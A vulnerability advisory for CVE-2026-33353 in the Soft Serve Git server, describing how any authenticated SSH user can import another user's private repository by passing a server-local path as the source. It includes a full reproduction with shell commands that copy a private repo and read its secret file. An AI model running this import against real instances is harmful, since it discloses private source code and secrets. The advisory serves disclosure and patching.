CVE-2026-33353: Soft Serve: Authenticated repo import can clone server-local private repositories

Published Mar 19, 2026
·
Updated

Summary An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATAPATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102

PoC Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:

sh soft repo create secret -p

3. Create a second low-privilege user:

sh soft user create user1 --key "$USER1AUTHORIZEDKEY"

4. Seed the private repo with secret content:

sh git clone ssh://localhost:$SSHPORT/secret secret echo 'top secret' > secret/SECRET.txt git -C secret add SECRET.txt git -C secret commit -m 'first' git -C secret push origin HEAD

5. Confirm the low-privilege user cannot access the private repo directly:

sh usoft repo info secret

Expected result:

text Error: repository not found

6. As the low-privilege user, import the server-local bare repo path into a new repo:

sh usoft repo import stolen "$DATAPATH/repos/secret.git" --lfs-endpoint http://example.com

7. Clone the attacker-controlled imported repo and read the secret:

sh ugit clone ssh://localhost:$SSHPORT/stolen stolen-clone cat stolen-clone/SECRET.txt

Expected result:

text top secret

Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import

Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material

Other sources

Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.6, an authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This issue has been patched in version 0.11.6.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/charmbracelet/soft-serve>=0.6.0<0.11.6
0.11.6
charm Soft Serve Go>=0.6.0<0.11.6

Event History

Mar 19, 2026
Advisory Published
via GitHub·07:27 PM
Data Sourced
via GitHub·07:27 PM
DescriptionWeaknessAffected Software
Mar 24, 2026
CVE Published
via MITRE·07:39 PM
Data Sourced
via MITRE·07:39 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33353?

CVE-2026-33353 has been classified as High severity due to the risk of unauthorized access to private repositories.

2

How do I fix CVE-2026-33353?

To fix CVE-2026-33353, update to the latest version of the affected software, specifically version 0.11.6 or above.

3

Who is affected by CVE-2026-33353?

Any authenticated SSH user with access to the affected version of the software is at risk from CVE-2026-33353.

4

What exploit does CVE-2026-33353 enable?

CVE-2026-33353 allows an authenticated SSH user to clone server-local Git repositories, including private ones, into a repository they control.

5

What should I do if I cannot immediately update to fix CVE-2026-33353?

If immediate updating is not possible, restrict SSH access to only trusted users until a fix is applied for CVE-2026-33353.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203